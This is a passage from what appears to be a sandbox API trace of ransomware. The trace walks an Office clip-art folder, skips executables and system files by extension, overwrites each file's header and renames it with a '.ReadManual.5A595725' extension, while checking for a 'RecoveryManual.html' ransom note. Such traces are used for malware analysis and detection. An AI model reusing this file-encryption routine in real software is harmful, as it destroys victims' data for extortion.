lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.851] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.851] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c14) returned 0x2f0000 [0260.851] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.851] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38152015440) returned 1 [0260.851] CloseHandle (hObject=0x184) returned 1 [0260.851] SetSecurityInfo () returned 0x57 [0260.852] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.852] CloseHandle (hObject=0x194) returned 1 [0260.853] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0260.853] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00985_.WMF" | out: lpString1="BL00985_.WMF") returned="BL00985_.WMF" [0260.853] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.853] StrStrIW (lpFirst="BL00985_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.853] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.854] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.854] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" [0260.854] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.ReadManual.5A595725" [0260.854] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.ReadManual.5A595725") returned 87 [0260.854] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38152278631) returned 1 [0260.854] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0260.854] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.855] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3768) returned 1 [0260.855] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeb8, lpName=0x0) returned 0x184 [0260.855] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.855] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.855] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.857] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.857] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xeb8) returned 0x2f0000 [0260.857] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.857] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38152603791) returned 1 [0260.857] CloseHandle (hObject=0x184) returned 1 [0260.857] SetSecurityInfo () returned 0x57 [0260.857] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.858] CloseHandle (hObject=0x194) returned 1 [0260.858] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0260.858] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BOAT.WMF" | out: lpString1="BOAT.WMF") returned="BOAT.WMF" [0260.858] lstrcmpiW (lpString1="BOAT.WMF", lpString2="RecoveryManual.html") returned -1 [0260.858] StrStrIW (lpFirst="BOAT.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.858] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.858] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.858] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.858] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.858] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.858] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.858] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.858] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.859] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.859] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.859] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.859] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.859] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.859] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.859] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" [0260.859] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.ReadManual.5A595725" [0260.859] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.ReadManual.5A595725") returned 83 [0260.859] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38152756003) returned 1 [0260.859] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0260.860] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.860] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3350) returned 1 [0260.860] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd16, lpName=0x0) returned 0x184 [0260.860] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb6) returned 1 [0260.861] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.861] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.863] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.863] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd16) returned 0x2f0000 [0260.863] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.863] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38153185078) returned 1 [0260.863] CloseHandle (hObject=0x184) returned 1 [0260.863] SetSecurityInfo () returned 0x57 [0260.863] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.863] CloseHandle (hObject=0x194) returned 1 [0260.863] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0260.863] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BOATINST.WMF" | out: lpString1="BOATINST.WMF") returned="BOATINST.WMF" [0260.864] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="RecoveryManual.html") returned -1 [0260.864] StrStrIW (lpFirst="BOATINST.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.864] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.864] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.864] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" [0260.864] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.ReadManual.5A595725" [0260.864] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.ReadManual.5A595725") returned 87 [0260.864] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38153284148) returned 1 [0260.864] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0260.864] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.865] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29004) returned 1 [0260.865] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x714c, lpName=0x0) returned 0x184 [0260.865] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.865] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.865] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.867] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.867] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x714c) returned 0x2f0000 [0260.868] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.868] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38153668431) returned 1 [0260.868] CloseHandle (hObject=0x184) returned 1 [0260.868] SetSecurityInfo () returned 0x57 [0260.868] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.868] CloseHandle (hObject=0x194) returned 1 [0260.870] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0260.870] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00076_.WMF" | out: lpString1="BS00076_.WMF") returned="BS00076_.WMF" [0260.870] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.870] StrStrIW (lpFirst="BS00076_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.870] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.870] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.870] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" [0260.870] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.ReadManual.5A595725" [0260.871] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.ReadManual.5A595725") returned 87 [0260.871] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38153935144) returned 1 [0260.871] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0260.872] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.872] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1330) returned 1 [0260.872] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x532, lpName=0x0) returned 0x184 [0260.872] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.873] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.873] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.875] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.875] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x532) returned 0x2f0000 [0260.875] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.875] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38154368106) returned 1 [0260.875] CloseHandle (hObject=0x184) returned 1 [0260.875] SetSecurityInfo () returned 0x57 [0260.875] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.875] CloseHandle (hObject=0x194) returned 1 [0260.876] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0260.876] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00078_.WMF" | out: lpString1="BS00078_.WMF") returned="BS00078_.WMF" [0260.876] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.876] StrStrIW (lpFirst="BS00078_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.876] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.876] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.876] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" [0260.876] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.ReadManual.5A595725" [0260.876] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.ReadManual.5A595725") returned 87 [0260.876] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38154519179) returned 1 [0260.876] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0260.877] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.878] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1444) returned 1 [0260.878] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a4, lpName=0x0) returned 0x184 [0260.878] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.878] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.878] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.880] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.880] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a4) returned 0x2f0000 [0260.880] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.880] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38154883553) returned 1 [0260.880] CloseHandle (hObject=0x184) returned 1 [0260.880] SetSecurityInfo () returned 0x57 [0260.880] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.880] CloseHandle (hObject=0x194) returned 1 [0260.881] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0260.881] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00092_.WMF" | out: lpString1="BS00092_.WMF") returned="BS00092_.WMF" [0260.881] 